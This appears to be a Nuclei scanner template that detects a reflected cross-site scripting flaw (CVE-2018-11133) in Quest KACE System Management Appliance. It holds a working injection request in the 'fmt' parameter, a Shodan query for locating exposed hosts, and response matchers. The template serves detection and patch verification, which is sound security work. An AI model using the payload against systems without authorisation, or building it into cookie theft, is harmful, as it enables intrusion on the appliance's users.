id: CVE-2018-11133

info:
  name: Quest KACE SMA /common/run_cross_report.php 'fmt' XSS
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    The 'fmt' parameter of the '/common/run_cross_report.php' script in the the Quest KACE System Management Appliance 8.0.318 is vulnerable to cross-site scripting.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Upgrade to a patched version of Quest KACE SMA or apply vendor-provided security updates.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11133
    - https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11133
    cwe-id: CWE-79
    epss-score: 0.08743
    epss-percentile: 0.94621
    cpe: cpe:2.3:a:quest:kace_system_management_appliance:8.0.318:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quest
    product: kace_system_management_appliance
    shodan-query: title:"KACE Systems Management"
  tags: cve,cve2018,xss,quest,kace,sma,vuln

http:
  - raw:
      - |
        GET /common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(document.domain)%2f%2f952 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "xls34403');alert(document.domain)//952');"
          - 'k-run-report-message'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be51c29a87313af652dedaef5e462ced319488fe3c1ed6ecdaaabb87e9b650cd0220671c701257cbed52163d272c6c5a6137a882744297860f4a8d5283b4e8db9cec:922c64590222798bb761d5b6d8e72950